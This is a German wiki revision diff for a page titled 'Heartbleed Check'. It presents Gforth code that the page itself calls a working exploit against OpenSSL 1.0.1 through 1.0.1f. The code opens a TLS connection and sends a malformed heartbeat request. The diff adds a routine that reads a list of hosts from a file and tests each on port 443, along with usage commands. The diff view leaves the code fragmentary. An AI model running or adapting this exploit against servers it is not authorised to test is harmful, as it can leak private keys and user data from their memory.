examples:heartbleed
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
| Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
| examples:heartbleed [2014-04-11 17:35] – angelegt bernd | examples:heartbleed [2014-04-11 22:00] (aktuell) – bernd | ||
|---|---|---|---|
| Zeile 1: | Zeile 1: | ||
| ====== Heartbleed Check ====== | ====== Heartbleed Check ====== | ||
| - | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!): | + | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http:// |
| + | |||
| + | < | ||
| + | gforth heartbleed.fs < | ||
| + | </ | ||
| + | |||
| + | starten. | ||
| + | |||
| + | < | ||
| + | cat < | ||
| + | </ | ||
| + | |||
| + | oder Gforth starten und dann | ||
| + | |||
| + | <code Forth> | ||
| + | require heartbleed.fs | ||
| + | s" < | ||
| + | </ | ||
| + | |||
| + | Was der Code macht, ist schnell erklärt: Er schickt zuerst ein " | ||
| <code Forth> | <code Forth> | ||
| Zeile 34: | Zeile 53: | ||
| s" / | s" / | ||
| random32 4 + 28 r@ read-file throw drop r> close-file throw ; | random32 4 + 28 r@ read-file throw drop r> close-file throw ; | ||
| - | |||
| - | Create pollfds pollfd %size allot | ||
| Variable buggy? | Variable buggy? | ||
| - | : get-heartbleed ( addr u port -- ) | + | : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off |
| - | 1000000 set-socket-timeout | + | 1000000 set-socket-timeout |
| - | | + | open-socket >r |
| - | open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! | + | |
| TLS-header header# r@ write-socket | TLS-header header# r@ write-socket | ||
| BEGIN r@ pad $10000 read-socket nip 0= UNTIL | BEGIN r@ pad $10000 read-socket nip 0= UNTIL | ||
| TLS-heartbleed heartbleed# r@ write-socket | TLS-heartbleed heartbleed# r@ write-socket | ||
| - | BEGIN r@ pad $10000 read-socket | + | BEGIN r@ pad $10000 read-socket |
| + | over c@ $18 = buggy? @ or \ heartbeet reply | ||
| + | over 0<> and | ||
| + | | ||
| r> close-socket | r> close-socket | ||
| - | buggy? @ IF ." Heartbleed | + | |
| + | |||
| + | Variable files | ||
| + | |||
| + | : file-heartbleed ( addr u -- ) | ||
| + | r/w open-file throw files $[]slurp | ||
| + | files [: 443 get-heartbleed ;] $[]map | ||
| script? [IF] | script? [IF] | ||
examples/heartbleed.1397230509.txt.gz · Zuletzt geändert: 2014-04-11 17:35 von bernd